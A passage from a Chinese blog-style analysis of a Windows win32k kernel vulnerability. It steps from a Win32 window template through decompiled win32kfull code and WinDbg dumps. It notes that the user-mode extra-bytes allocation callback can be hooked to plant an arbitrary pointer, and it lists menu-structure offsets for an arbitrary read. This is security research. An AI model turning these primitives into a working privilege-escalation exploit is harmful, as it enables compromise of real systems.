前置知识

Windows 桌面编程

我们可以直接用 Visual Studio 生成以下的默认模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
// test.cpp : 定义应用程序的入口点。
//

#include "framework.h"
#include "test.h"

#define MAX_LOADSTRING 100

// 全局变量:
HINSTANCE hInst; // 当前实例
WCHAR szTitle[MAX_LOADSTRING]; // 标题栏文本
WCHAR szWindowClass[MAX_LOADSTRING]; // 主窗口类名

// 此代码模块中包含的函数的前向声明:
ATOM MyRegisterClass(HINSTANCE hInstance);
BOOL InitInstance(HINSTANCE, int);
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
INT_PTR CALLBACK About(HWND, UINT, WPARAM, LPARAM);

int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPWSTR lpCmdLine,
_In_ int nCmdShow)
{
UNREFERENCED_PARAMETER(hPrevInstance);
UNREFERENCED_PARAMETER(lpCmdLine);

// TODO: 在此处放置代码。

// 初始化全局字符串
LoadStringW(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING);
LoadStringW(hInstance, IDC_TEST, szWindowClass, MAX_LOADSTRING);
MyRegisterClass(hInstance);

// 执行应用程序初始化:
if (!InitInstance (hInstance, nCmdShow))
{
return FALSE;
}

HACCEL hAccelTable = LoadAccelerators(hInstance, MAKEINTRESOURCE(IDC_TEST));

MSG msg;

// 主消息循环:
while (GetMessage(&msg, nullptr, 0, 0))
{
if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}

return (int) msg.wParam;
}

//
// 函数: MyRegisterClass()
//
// 目标: 注册窗口类。
//
ATOM MyRegisterClass(HINSTANCE hInstance)
{
WNDCLASSEXW wcex;

wcex.cbSize = sizeof(WNDCLASSEX);

wcex.style = CS_HREDRAW | CS_VREDRAW;
wcex.lpfnWndProc = WndProc;
wcex.cbClsExtra = 0;
wcex.cbWndExtra = 0;
wcex.hInstance = hInstance;
wcex.hIcon = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_TEST));
wcex.hCursor = LoadCursor(nullptr, IDC_ARROW);
wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
wcex.lpszMenuName = MAKEINTRESOURCEW(IDC_TEST);
wcex.lpszClassName = szWindowClass;
wcex.hIconSm = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_SMALL));

return RegisterClassExW(&wcex);
}

//
// 函数: InitInstance(HINSTANCE, int)
//
// 目标: 保存实例句柄并创建主窗口
//
// 注释:
//
// 在此函数中,我们在全局变量中保存实例句柄并
// 创建和显示主程序窗口。
//
BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
{
hInst = hInstance; // 将实例句柄存储在全局变量中

HWND hWnd = CreateWindowW(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, nullptr, nullptr, hInstance, nullptr);

if (!hWnd)
{
return FALSE;
}

ShowWindow(hWnd, nCmdShow);
UpdateWindow(hWnd);

return TRUE;
}

//
// 函数: WndProc(HWND, UINT, WPARAM, LPARAM)
//
// 目标: 处理主窗口的消息。
//
// WM_COMMAND - 处理应用程序菜单
// WM_PAINT - 绘制主窗口
// WM_DESTROY - 发送退出消息并返回
//
//
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
switch (message)
{
case WM_COMMAND:
{
int wmId = LOWORD(wParam);
// 分析菜单选择:
switch (wmId)
{
case IDM_ABOUT:
DialogBox(hInst, MAKEINTRESOURCE(IDD_ABOUTBOX), hWnd, About);
break;
case IDM_EXIT:
DestroyWindow(hWnd);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
}
break;
case WM_PAINT:
{
PAINTSTRUCT ps;
HDC hdc = BeginPaint(hWnd, &ps);
// TODO: 在此处添加使用 hdc 的任何绘图代码...
EndPaint(hWnd, &ps);
}
break;
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
return 0;
}

// “关于”框的消息处理程序。
INT_PTR CALLBACK About(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
{
UNREFERENCED_PARAMETER(lParam);
switch (message)
{
case WM_INITDIALOG:
return (INT_PTR)TRUE;

case WM_COMMAND:
if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL)
{
EndDialog(hDlg, LOWORD(wParam));
return (INT_PTR)TRUE;
}
break;
}
return (INT_PTR)FALSE;
}

运行起来便可以得到一个简单的桌面程序:

Untitled.png

程序的入口变为了 wWinMain ,代表为 unicode 版的 WinMain ,每个窗口类都通过 RegisterClassExW 进行注册,在上面的代码中体现为 MyRegisterClass 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//
// 函数: MyRegisterClass()
//
// 目标: 注册窗口类。
//
ATOM MyRegisterClass(HINSTANCE hInstance)
{
WNDCLASSEXW wcex;

wcex.cbSize = sizeof(WNDCLASSEX);

wcex.style = CS_HREDRAW | CS_VREDRAW;
wcex.lpfnWndProc = WndProc;
wcex.cbClsExtra = 0;
wcex.cbWndExtra = 0;
wcex.hInstance = hInstance;
wcex.hIcon = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_TEST));
wcex.hCursor = LoadCursor(nullptr, IDC_ARROW);
wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
wcex.lpszMenuName = MAKEINTRESOURCEW(IDC_TEST);
wcex.lpszClassName = szWindowClass;
wcex.hIconSm = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_SMALL));

return RegisterClassExW(&wcex);
}

传入的结构体为 [WNDCLASSEX](https://docs.microsoft.com/zh-cn/windows/win32/api/winuser/ns-winuser-wndclassexa) ,定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
typedef struct tagWNDCLASSEXA {
UINT cbSize; // 结构体大小
UINT style; // 窗口类风格
WNDPROC lpfnWndProc; // 窗口类消息处理函数的指针
int cbClsExtra; // 窗口类额外字节,初始化为0
int cbWndExtra; // 窗口类实例额外字节,初始化为0
HINSTANCE hInstance; // 包含该窗口类消息处理函数的实例的句柄
HICON hIcon; // 图标的句柄
HCURSOR hCursor; // 光标的句柄
HBRUSH hbrBackground; // 背景刷的句柄
LPCSTR lpszMenuName; // 菜单资源名称的字符串指针,用null截断
LPCSTR lpszClassName; // 窗口类名称的字符串指针,用null截断
HICON hIconSm; // 小图标的句柄
} WNDCLASSEXA, *PWNDCLASSEXA, *NPWNDCLASSEXA, *LPWNDCLASSEXA;

在我们注册完窗口类后,就可以通过 InitInstance 来初始化应用程序,其会创建窗口并进行展示更新:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//
// 函数: InitInstance(HINSTANCE, int)
//
// 目标: 保存实例句柄并创建主窗口
//
// 注释:
//
// 在此函数中,我们在全局变量中保存实例句柄并
// 创建和显示主程序窗口。
//
BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
{
hInst = hInstance; // 将实例句柄存储在全局变量中

HWND hWnd = CreateWindowW(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, nullptr, nullptr, hInstance, nullptr);

if (!hWnd)
{
return FALSE;
}

ShowWindow(hWnd, nCmdShow);
UpdateWindow(hWnd);

return TRUE;
}

如果我们不执行别的操作,那么窗口随后就会被销毁。而实际情况下我们所使用的桌面程序都不会初始化之后就立即销毁,而是会根据我们的一系列操作(鼠标点击、键盘输入等)进行对应的反应。这些操作作为消息传入程序中进行对应的处理,所以我们需要一个循环来接收并处理消息,如下所示:

1
2
3
4
5
6
7
8
9
// 主消息循环:
while (GetMessage(&msg, nullptr, 0, 0))
{
if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg))
{
TranslateMessage(&msg); // 解析消息
DispatchMessage(&msg); // 派发消息
}
}

操作系统会把每个操作包装为消息结构体(记录了发生在哪个窗口,也就是句柄;还有消息编号、消息坐标等),并放入线程的消息队列,我们通过 GetMessage 可以取出消息,并通过 TranslateMessage 将虚拟键消息进行转换,之后通过 DispatchMessage 处理每种消息。在 WNDCLASSEXW 结构中所对应的也就是 lpfnWndProc ,把它赋值为某一方法,则 DispatchMessage 就会调用到某个方法,我们这里所传入的是 WndProc 函数:

1
wcex.lpfnWndProc    = WndProc;

则会调用到 WndProc 进行消息处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
//
// 函数: WndProc(HWND, UINT, WPARAM, LPARAM)
//
// 目标: 处理主窗口的消息。
//
// WM_COMMAND - 处理应用程序菜单
// WM_PAINT - 绘制主窗口
// WM_DESTROY - 发送退出消息并返回
//
//
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
switch (message)
{
case WM_COMMAND:
{
int wmId = LOWORD(wParam);
// 分析菜单选择:
switch (wmId)
{
case IDM_ABOUT:
DialogBox(hInst, MAKEINTRESOURCE(IDD_ABOUTBOX), hWnd, About);
break;
case IDM_EXIT:
DestroyWindow(hWnd);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
}
break;
case WM_PAINT:
{
PAINTSTRUCT ps;
HDC hdc = BeginPaint(hWnd, &ps);
// TODO: 在此处添加使用 hdc 的任何绘图代码...
EndPaint(hWnd, &ps);
}
break;
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
return 0;
}

WndProc 函数对 WM_COMMAND, WM_PAINT, WM_DESTROY 消息进行了处理,如果我们点击菜单的 about ,则会调用 About 函数进行进一步处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// “关于”框的消息处理程序。
INT_PTR CALLBACK About(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
{
UNREFERENCED_PARAMETER(lParam);
switch (message)
{
case WM_INITDIALOG:
return (INT_PTR)TRUE;

case WM_COMMAND:
if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL)
{
EndDialog(hDlg, LOWORD(wParam));
return (INT_PTR)TRUE;
}
break;
}
return (INT_PTR)FALSE;
}

当然也可以点击退出去销毁该窗口类。

额外字节

WNDCLASSEXA 结构中存在着 cbClsExtracbWndExtra 两个额外字节成员:

1
2
3
4
5
6
typedef struct tagWNDCLASSEXA {
...
int cbClsExtra; // 窗口类额外字节,初始化为0
int cbWndExtra; // 窗口类实例额外字节,初始化为0
...
} WNDCLASSEXA, *PWNDCLASSEXA, *NPWNDCLASSEXA, *LPWNDCLASSEXA;

这两者十分相似,它们有什么作用和区别呢?

对于窗口类额外字节,在应用程序注册窗口类的时候,便可以请求系统分配一定大小的内存空间作为该窗口类的拓展内存空间。在之后该窗口类的所有子窗口都共享该内存空间,且可以使用这片内存进行窗口通信。程序员可以使用以下方法进行该内存空间的读写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
DWORD GetClassLongW(
[in] HWND hWnd,
[in] int nIndex
);

ULONG_PTR GetClassLongPtrW(
[in] HWND hWnd,
[in] int nIndex
);

DWORD SetClassLongW(
[in] HWND hWnd,
[in] int nIndex,
[in] LONG dwNewLong
);

ULONG_PTR SetClassLongPtrW(
[in] HWND hWnd,
[in] int nIndex,
[in] LONG_PTR dwNewLong
);

其中 GetClassLongWSetClassLongW32 位系统所使用的, GetClassLongPtrWSetClassLongPtrW 兼容了 3264 位系统,在 32 位系统中会直接调用 GetClassLongWSetClassLongW

同样的,当窗口创建的时候,也可以让系统分配一定大小的内存空间作为每个窗口独有的拓展内控空间。窗口可以使用这部分空间进行数据存储与读取。程序员可以使用以下方法进行该内存空间的读写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
LONG GetWindowLongW(
[in] HWND hWnd,
[in] int nIndex
);

LONG_PTR GetWindowLongPtrW(
[in] HWND hWnd,
[in] int nIndex
);

LONG SetWindowLongW(
[in] HWND hWnd,
[in] int nIndex,
[in] LONG dwNewLong
);

LONG_PTR SetWindowLongPtrW(
[in] HWND hWnd,
[in] int nIndex,
[in] LONG_PTR dwNewLong
);

其中 GetWindowLongWSetWindowLongW32 位系统所使用的, GetWindowLongPtrWSetWindowLongPtrW 兼容了 3264 位系统,在 32 位系统中会直接调用 GetWindowLongWSetWindowLongW

tagWND 结构体

Windows 中会使用 tagWND 结构体来描述每个窗口,但由于 win32k 漏洞频出,所以微软去掉了 tagWND 结构体的符号。目前而言我们只能参考 WIn7 之前的符号来猜测 Win10tagWND 结构体的内容。

不过由于 win32k 的漏洞频出,所以已经有很多安全研究人员针对 tagWND 结构体进行了对应的研究。一个需要关注的点便是用户态和内核态分别维护了每一个窗口的 tagWND 结构体,用户态 &poi + 0x28 处的一个 QWORD 为一个指向内核态 tagWND 结构体的指针。我们分别记用户态和内核态的指针为 ptagWNDptagWNDk

结构体总体如下(不同版本不同):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
ptagWND
0x10 THREADINFO
0x00 pTEB
0x220 pEPROCESS(current process)

0x18 somePtr
0x80 DesktopBaseAddr

0x28 ptagWNDk
0x00 hwnd
0x08 ptagWNDkOffset = (ptagWNDk - DesktopBaseAddr)
0x18 dwStyle
0x58 rcBar->left
0x5C rcBar->top
0x60 rcBar->right
0x64 rcBar->bottom(maybe)
0x98 spMenu
0xC8 cbWndExtra
0xE8 dwExtraFlag
0x128 pExtraBytes

0xa8 spMenu
0x00 hMenu
0x28 somePtr
0x2C check items
0x40 check items
0x44 check items
0x50 ptagWND(important)
0x58 rgItems
0x00 arbReadAddr = targetAddr - 0x40
0x98 spMenuk
0x00 SpMenu(self)

该结构体的很多内容都是在后面分析中得到的,这里只是一个总结,细节还需要研究各个方法的使用。

漏洞分析

本节将介绍漏洞所涉及到的函数于触发条件

CreateWindowEx流程

tagWND.pExtraBytes 会在调用 CreateWindowEx 的时候初始化,最终走到 xxxCreateWindowEx 中,我们将上面的示例代码中 cbWndExtra 值进行设置:

1
wcex.cbWndExtra = 0xab;

之后运行,这里调试的时候要下硬件断点:

1
2
3
4
WARNING: Software breakpoints on session addresses can cause bugchecks.
Use hardware execution breakpoints (ba e) if possible.

ba e1 win32kfull!xxxCreateWindowEx

其调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
00 ffffd58e`fb0378f8 fffff9d4`d7a47c20     win32kfull!xxxCreateWindowEx
01 ffffd58e`fb037900 fffff805`835cde95 win32kfull!NtUserCreateWindowEx+0x6a0
02 ffffd58e`fb037a90 00007ffb`e82b1f24 nt!KiSystemServiceCopyEnd+0x25
03 00000035`95bcf378 00007ffb`eaab8001 win32u!NtUserCreateWindowEx+0x14
04 00000035`95bcf380 00007ffb`eaab7bf4 USER32!VerNtUserCreateWindowEx+0x211
05 00000035`95bcf710 00007ffb`eaab7a32 USER32!CreateWindowInternal+0x1b4
*** WARNING: Unable to verify checksum for test.exe
06 00000035`95bcf870 00007ff6`dfb71138 USER32!CreateWindowExW+0x82
07 (Inline Function) --------`-------- test!InitInstance+0x4b [D:\kernel\Win32K\poc\test\test\test.cpp @ 100]
08 00000035`95bcf900 0000014e`dcbff490 test!wWinMain+0x138 [D:\kernel\Win32K\poc\test\test\test.cpp @ 36]
09 00000035`95bcf908 00007ffb`eae9fba1 0x0000014e`dcbff490
0a 00000035`95bcf910 00000000`00000000 ntdll!RtlFreeHeap+0x51

xxxCreateWindowEx 中会调用 win32kbase!HMAllocObject 来初始化 pTagWND ,随后初始化 pTagWNDk->pExtraBytes0 ,并在后面判断 ptagWNDk->cbWndExtra 是否为 0 ,如果不为 0 则使用 xxxClientAllocWindowClassExtraBytes 初始化 pTagWNDk->pExtraBytes

1
2
3
4
5
6
7
8
9
10
11
LOBYTE(TYPE_WINDOW) = 1;                      // TYPE_WINDOW
pTagWND = HMAllocObject(gptiCurrent, pdesk, TYPE_WINDOW, 0x150i64);
...
*(_QWORD *)(pTagWND[5] + 0x128i64) = 0i64; // pTagWNDk->pExtraBytes = 0
...
if ( (unsigned __int8)tagWND::RedirectedFieldcbwndExtra<int>::operator!=((char *)pTagWND + 0xB1, 0) ) // ptagWNDk->cbWndExtra != 0
{
*(_QWORD *)(pTagWND[5] + 0x128i64) = xxxClientAllocWindowClassExtraBytes(*(unsigned int *)(pTagWND[5] + 0xC8i64)); // pTagWNDk->pExtraBytes = xxxClientAllocWindowClassExtraBytes(ptagWNDk->cbWndExtra)
...
}
}

win32kbase!HMAllocObject 中会使用 HMAllocateUserOrIsolatedType 生成用户态的 pTagWND 结构体指针,并使用 DesktopAlloc 生成内核态的 pTagWNDk 结构体指针。将 pTagWND + 0x28 处存储 pTagWNDk 并在 pTagWND + 0x30 处存储 pTagWNDk 和桌面堆基址的偏移。最后在 pTagWND + 0x0pTagWNDk + 0x0 处都存储对应的 handle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
...
if ( (someAttribute & 0x10) != 0 && pdesk )
{
if ( (int)IsDesktopAllocSupported() < 0 )
goto error;
pTagWND = (const void **)HMAllocateUserOrIsolatedType(size, someAttribute, type);
if ( !pTagWND )
goto error;
pTagWNDk = DesktopAlloc(pdesk, *(unsigned int *)((char *)&gahti + v38 + 16), ((unsigned __int8)type << 16) | 5u);
pTagWND[5] = (const void *)pTagWNDk; // pTagWND->pTagWNDk = pTagWNDk
if ( !pTagWNDk )
{
HMFreeUserOrIsolatedType(someAttribute, type, pTagWND);
goto error;
}
LockObjectAssignment(pTagWND + 3, pdesk);
pTagWNDkAddr = (void *)pTagWND[5];
pTagWND[4] = pTagWND;
pTagWND[6] = (char *)pTagWNDkAddr - *(_QWORD *)(pdesk + 0x80);// TagWNDkOffset = pTagWNDkAddr - DesktopBaseAddr
}
}

...

hWND = (int)v15 | (unsigned __int64)(*(unsigned __int16 *)((char *)qword_1C0221768
+ v15 * (unsigned int)dword_1C0221770
+ 26) << 16);
*pTagWND = (const void *)hWND;
if ( *(_DWORD *)((char *)&gahti + v38 + 16) )
{
pTagWNDk = (unsigned __int64 *)pTagWND[5];
*pTagWNDk = hWND;
pTagWNDk[1] = (unsigned __int64)pTagWND[6];
}

最终的内存布局:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
0: kd> dq rsi // pTagWND
fffff982`036ef7e0 00000000`000703dc 00000000`00000000 // handle | 0
fffff982`036ef7f0 fffff982`007e99a0 ffffc58d`ffdfd890
fffff982`036ef800 fffff982`036ef7e0 fffff982`01243af0 // self | pTagWNDk
fffff982`036ef810 00000000`00043af0 00000000`00000000 // TagWNDkOffset | 0
fffff982`036ef820 00000000`00000000 00000000`00000000
fffff982`036ef830 00000000`00000000 00000000`00000000
fffff982`036ef840 00000000`00000000 00000000`00000000
fffff982`036ef850 00000000`00000000 00000000`00000000

0: kd> dq fffff982`01243af0 // pTagWNDk
fffff982`01243af0 00000000`000703dc 00000000`00043af0 // handle | TagWNDkOffset
fffff982`01243b00 00000000`00000000 00000000`00000000
fffff982`01243b10 00000000`00000000 00000000`00000000
fffff982`01243b20 00000000`00000000 00000000`00000000
fffff982`01243b30 00000000`00000000 00000000`00000000
fffff982`01243b40 00000000`00000000 00000000`00000000
fffff982`01243b50 00000000`00000000 00000000`00000000
fffff982`01243b60 00000000`00000000 00000000`00000000

然后回到 pTagWNDk->pExtraBytes 赋值的地方,tagWND::RedirectedFieldcbwndExtra<int>::operator!= 的实现如下:

1
2
3
4
bool __fastcall tagWND::RedirectedFieldcbwndExtra<int>::operator!=(__int64 a1, _DWORD *a2)
{
return *(_DWORD *)(*(_QWORD *)(a1 - 0x89) + 0xC8i64) != *a2;
}

而我们输入的第一个参数为 (char *)pTagWND + 0xB1 ,第二个参数为 0 ,也就是说最后变成了 :

1
pTagWNDk + 0xC8 != 0

而这个值经过调试就是我们前面所设定的 cbWndExtra 值,为 0xab

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0: kd> dq rcx-0x89
fffff982`036ef808 fffff982`01243af0 00000000`00043af0
fffff982`036ef818 00000000`00000000 00000000`00000000
fffff982`036ef828 00000000`00000000 00000000`00000000
fffff982`036ef838 00000000`00000000 00000000`00000000
fffff982`036ef848 fffff982`00830a80 00000000`00000000
fffff982`036ef858 00000000`00000000 00000000`00000000
fffff982`036ef868 fffff982`03703240 00000000`00000000
fffff982`036ef878 00000000`00000000 00000000`00000000
0: kd> dq fffff982`01243af0+0xc8
fffff982`01243bb8 00000000`000000ab 00000000`002d02fb
fffff982`01243bc8 00000000`00000000 00000000`00000000
fffff982`01243bd8 00000001`00000000 00000000`00000000
fffff982`01243be8 00000000`00000000 00000000`00010001
fffff982`01243bf8 00000000`00000000 00000000`00000000
fffff982`01243c08 00000090`00000000 00000000`00006010
fffff982`01243c18 00000000`00000000 00000000`00000000
fffff982`01243c28 00000000`00000000 f1f26acb`6d496ee5

那么它便会调用 xxxClientAllocWindowClassExtraBytes(cbWndExtra) 并将 pTagWNDk->pExtraBytes 设置为返回值的内容,下面我们来看一看 xxxClientAllocWindowClassExtraBytes 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
volatile void *__fastcall xxxClientAllocWindowClassExtraBytes(SIZE_T Length)
{
if ( gdwInAtomicOperation && (gdwExtraInstrumentations & 1) != 0 )
KeBugCheckEx(0x160u, gdwInAtomicOperation, 0i64, 0i64, 0i64);
ReleaseAndReacquirePerObjectLocks::ReleaseAndReacquirePerObjectLocks((ReleaseAndReacquirePerObjectLocks *)&v10);
LeaveEnterCritProperDisposition::LeaveEnterCritProperDisposition((LeaveEnterCritProperDisposition *)&v9);
EtwTraceBeginCallback(123i64);
NTSTATUS = KeUserModeCallback(123i64, &length, 4i64, &OutputBuffer, &OutputLength);
EtwTraceEndCallback(123i64);
LeaveEnterCritProperDisposition::~LeaveEnterCritProperDisposition((LeaveEnterCritProperDisposition *)&v9);
ReleaseAndReacquirePerObjectLocks::~ReleaseAndReacquirePerObjectLocks((ReleaseAndReacquirePerObjectLocks *)&v10);
if ( NTSTATUS < 0 || OutputLength != 0x18 )
return 0i64;
if ( OutputBuffer + 8 < OutputBuffer || OutputBuffer + 8 > MmUserProbeAddress )
OutputBuffer = (__int64 *)MmUserProbeAddress;
v5 = PsGetCurrentProcessWow64Process();
ProbeForRead(OutputBuffer, length, v5 != 0 ? 1 : 4);
return OutputBuffer;
}

它会使用 KeUserModeCallback 回调 PEB.KernelCallbackTable 表中第 123 项用户态函数(该函数为 user32!_xxxClientAllocWindowClassExtraBytes ****),传入的参数为 length ,并判断返回的 OutputLength 是否为 0x18NTSTATUS 为成功。随后检查了返回的 OutputBufferOutputBuffer + length 是否都在用户态地址范围(小于 0x7fffffff0000 )。如果检查正确则最终返回 OutputBuffer

user32!_xxxClientAllocWindowClassExtraBytes 函数的内容如下:

1
2
3
4
5
6
NTSTATUS __fastcall _xxxClientAllocWindowClassExtraBytes(unsigned int *pSize)
{
...
Result = RtlAllocateHeap(pUserHeap, 8u, *pSize);
return NtCallbackReturn(&Result, 0x18u, 0);
}

其通过 RtlAllocateHeap 分配用户空间的堆,大小为 size ,同时使用 NtCallbackReturn 返回分配的结果。

最终 xxxCreateWindowEx 使用 xxxClientAllocWindowClassExtraBytes 所返回的结果(也就是用户空间的堆指针)初始化了 pTagWNDk->pExtraBytes 的值,也就是说普通情况下 pTagWNDk->pExtraBytes 的值会是一个用户态空间的堆指针。

需要注意的是,这里的 user32!_xxxClientAllocWindowClassExtraBytes 是用户态的函数,我们可以对其进行 hook 并返回任意在用户态空间地址的值,其也会直接通过检查并存放至 pTagWNDk->pExtraBytes 处。

SetWindowLongPtr流程

首先在上面的实例中添加如下代码:

1
SetWindowLongPtr(hWnd, 0x34, 0xdeadbeef);

然后就可以开始调试了

SetWindowLongPtr 最终会调用到 xxxSetWindowLongPtr ,栈回溯如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1: kd> k
# Child-SP RetAddr Call Site
00 ffffd58e`fb67da98 fffff9d4`d7a9d4c7 win32kfull!xxxSetWindowLongPtr
01 ffffd58e`fb67daa0 fffff805`835cde95 win32kfull!NtUserSetWindowLongPtr+0xc7
02 ffffd58e`fb67db00 00007ffb`e82bad64 nt!KiSystemServiceCopyEnd+0x25
03 000000e1`cdfbfc78 00007ffb`eaac20f1 win32u!NtUserSetWindowLongPtr+0x14
*** WARNING: Unable to verify checksum for test.exe
04 000000e1`cdfbfc80 00007ff7`aecf1158 USER32!_SetWindowLongPtr+0x111
05 (Inline Function) --------`-------- test!InitInstance+0x6b [D:\kernel\Win32K\poc\test\test\test.cpp @ 108]
06 000000e1`cdfbfcc0 00000000`00140302 test!wWinMain+0x158 [D:\kernel\Win32K\poc\test\test\test.cpp @ 36]
07 000000e1`cdfbfcc8 00007ff7`aecf5650 0x140302
08 000000e1`cdfbfcd0 00000000`0000000a test!szWindowClass
09 000000e1`cdfbfcd8 00007ff7`aecf0000 0xa
0a 000000e1`cdfbfce0 00000000`80000000 test!__ImageBase
0b 000000e1`cdfbfce8 00007ffb`00000000 0x80000000
0c 000000e1`cdfbfcf0 00000000`80000000 0x00007ffb`00000000
0d 000000e1`cdfbfcf8 00000000`00000000 0x80000000

xxxSetWindowLongPtr 的主要逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
__int64 __fastcall xxxSetWindowLongPtr(struct tagWND *pTagWND, int index, __int64 value, __int64 zero, int one){
...
pTagWNDk = *((_QWORD *)pTagWND + 5);
...
if ( (int)index >= 0 )
{
zero = *(unsigned int *)(pTagWNDk + 0xFC); // 0
if ( (unsigned __int64)(unsigned int)index + 8 <= (unsigned int)(zero + *(_DWORD *)(pTagWNDk_0 + 0xC8)) )// index + 8 <= 0 + cbWndExtra
{
...
if ( (int)index + 8i64 <= zero ) // 负数
{
v28 = *((_QWORD *)pTagWND + 0x23);
*(_QWORD *)(index + v28) = value;
}
else
{
if ( (*(_DWORD *)(pTagWNDk + 0xE8) & 0x800) != 0 )// flags
targetAddr = (__int64 *)(*(_QWORD *)(pTagWNDk + 0x128)
+ index
+ *(_QWORD *)(*((_QWORD *)pTagWND + 3) + 0x80i64));// pTagWNDk->pExtraBytes + index + DesktopBaseAddr
else
targetAddr = (__int64 *)(*(_QWORD *)(pTagWNDk + 0x128) + index);// pTagWNDk->pExtraBytes + index
*targetAddr = value;
}
goto end;
}
...
}
}

其会对 index 的范围进行检查,随后检查 (pTagWNDk + 0xE8) & 0x800 的标志位是否设置,并分两种情况写值:

  • 如果设置了,则 pTagWNDk->pExtraBytes + index + DesktopBaseAddr = value
  • 如果没设置,则 pTagWNDk->pExtraBytes + index = value

在正常情况下,我们是没有设置该标志位的,那么 pTagWNDk->pExtraBytes 中存储的就是用户态空间的堆地址,其设置值的方式也就是在用户态堆地址的偏移处写值;而如果设置了该标志位,则是从内核态的桌面堆基地址开始取偏移值并写入。

GetWindowLongPtr 的逻辑类似,这里不再分析。

ConsoleControl流程

ConsoleControl 位于 user32.dll 中,是一个未公开的函数。最终该函数会调用到 win32kfull!xxxConsoleControl ,逻辑如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
__int64 __fastcall xxxConsoleControl(int funcIndex, struct _CONSOLE_PROCESS_INFO *pParam, int paramLength){
...
if ( funcIndexSubFive != 1 )
return 0xC0000003;
if ( paramLength != 16 )
return 0xC000000D;
ptagWND = ValidateHwnd(*(_QWORD *)pParam);
if ( !ptagWND )
return errorCode;
ptagWNDk = ptagWND + 0x28;
...
if ( (*(_DWORD *)(*(_QWORD *)ptagWNDk + 0xE8i64) & 0x800) != 0 )// flags
{
buffer = (_DWORD *)(*(_QWORD *)(ptagWNDk + 0x128) + *(_QWORD *)(*(_QWORD *)(ptagWND + 0x18) + 0x80i64));// buffer = pTagWNDk->pExtraBytes + DesktopBaseAddr
}
else
{
buffer = (_DWORD *)DesktopAlloc(*(_QWORD *)(ptagWND + 0x18), *(unsigned int *)(ptagWNDk + 0xC8), 0i64);// buffer = DesktopAlloc(*(pTagWND+0x18),cbWndExtra)
if ( !buffer )
{
result = 0xC0000017;
end:
ThreadUnlock1();
return result;
}
if ( *(_QWORD *)(*(_QWORD *)ptagWNDk + 0x128i64) )// pTagWNDk->pExtraBytes
{
handle = PsGetCurrentProcess(v21);
cbWndExtra = *(_DWORD *)(*(_QWORD *)ptagWNDk + 0xC8i64);
ExtraBytes = *(const void **)(*(_QWORD *)ptagWNDk + 0x128i64);
memmove(buffer, ExtraBytes, cbWndExtra);
